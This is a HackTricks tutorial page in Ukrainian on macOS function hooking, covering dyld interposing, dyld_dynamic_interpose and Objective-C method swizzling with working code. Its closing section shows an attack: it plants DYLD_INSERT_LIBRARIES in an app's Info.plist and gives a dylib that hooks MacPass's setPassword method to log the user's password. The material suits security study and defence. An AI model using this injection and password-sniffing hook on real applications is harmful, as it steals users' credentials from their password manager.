macOS Function Hooking

Вивчайте та практикуйте взлом AWS: Навчання AWS Red Team Expert (ARTE) HackTricks Вивчайте та практикуйте взлом GCP: Навчання GCP Red Team Expert (GRTE) HackTricks

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.

• Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.

Перехоплення функцій

Створіть dylib з розділом __interpose (__DATA___interpose) (або розділом, позначеним як S_INTERPOSING), що містить кортежі вказівників на функції, які посилаються на оригінальні та замінні функції.

Потім впровадьте dylib за допомогою DYLD_INSERT_LIBRARIES (перехоплення повинно відбуватися до завантаження основного додатка). Очевидно, тут також застосовуються обмеження, які застосовуються до використання DYLD_INSERT_LIBRARIES.

Перехоплення printf

interpose.c

interpose.c

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

hello.c

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

interpose2.c

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Змінна середовища DYLD_PRINT_INTERPOSTING може бути використана для налагодження перехоплення та виведе процес перехоплення.

Також слід зауважити, що перехоплення відбувається між процесом та завантаженими бібліотеками, воно не працює з кешем спільних бібліотек.

Динамічне перехоплення

Тепер також можливо динамічно перехопити функцію за допомогою функції dyld_dynamic_interpose. Це дозволяє програмно перехопити функцію під час виконання, а не лише з початку.

Достатньо вказати кортежі функції, яку потрібно замінити, та функції заміщення.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Метод Swizzling

У ObjectiveC так викликається метод: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Потрібен об'єкт, метод та параметри. І коли метод викликається, повідомлення відправляється за допомогою функції objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Об'єкт - someObject, метод - @selector(method1p1:p2:), аргументи - value1, value2.

Слідуючи структурам об'єктів, можна дістатися до масиву методів, де імена та вказівники на код методу знаходяться.

Зверніть увагу, що оскільки методи та класи доступні за їхніми іменами, ця інформація зберігається в бінарному файлі, тому можливо отримати її за допомогою otool -ov </path/bin> або class-dump </path/bin>

Доступ до сирого методу

Можливо отримати інформацію про методи, таку як ім'я, кількість параметрів або адресу, як у наступному прикладі:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Зміна методу за допомогою method_exchangeImplementations

Функція method_exchangeImplementations дозволяє змінити адресу реалізації однієї функції на іншу.

Таким чином, коли викликається функція, виконується інша.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

У цьому випадку, якщо код реалізації легітимного методу перевіряє ім'я методу, він може виявити цей перехоплення та запобігти його виконанню.

Наступна техніка не має цього обмеження.

Перехоплення методу за допомогою method_setImplementation

Попередній формат дивний, оскільки ви змінюєте реалізацію 2 методів один на одного. Використовуючи функцію method_setImplementation, ви можете змінити реалізацію методу на інший.

Просто не забудьте зберегти адресу реалізації оригінального, якщо ви збираєтеся викликати його з нової реалізації перед її перезаписом, оскільки пізніше буде набагато складніше знайти цю адресу.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Методологія атаки за допомогою підключення

На цій сторінці обговорюються різні способи підключення функцій. Однак вони включають виконання коду всередині процесу для атаки.

Для цього найпростішою технікою є впровадження Dyld через змінні середовища або перехоплення. Однак, я думаю, що це також можна зробити через впровадження процесу Dylib.

Проте обидва варіанти обмежені незахищеними бінарними файлами/процесами. Перевірте кожну техніку, щоб дізнатися більше про обмеження.

Проте атака за допомогою підключення функцій є дуже конкретною, зловмисник буде робити це, щоб викрасти чутливу інформацію зсередини процесу (якщо цього не зробити, то ви просто здійснюєте атаку впровадження процесу). І ця чутлива інформація може бути розміщена в завантажених користувачем додатках, таких як MacPass.

Таким чином, вектор атаки зловмисника буде полягати в тому, щоб знайти вразливість або зняти підпис програми, впровадити змінну середовища DYLD_INSERT_LIBRARIES через Info.plist програми, додавши щось на зразок:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

і потім перереєструвати додаток:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Додайте до цієї бібліотеки код підвищення привілеїв для витікання інформації: паролі, повідомлення...

Зверніть увагу, що в новіших версіях macOS, якщо ви видалите підпис з бінарного файлу програми і він вже виконувався раніше, macOS більше не буде виконувати програму.

Приклад бібліотеки

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Посилання

• https://nshipster.com/method-swizzling/

Вивчайте та практикуйте хакінг AWS:Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте хакінг GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.

• Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.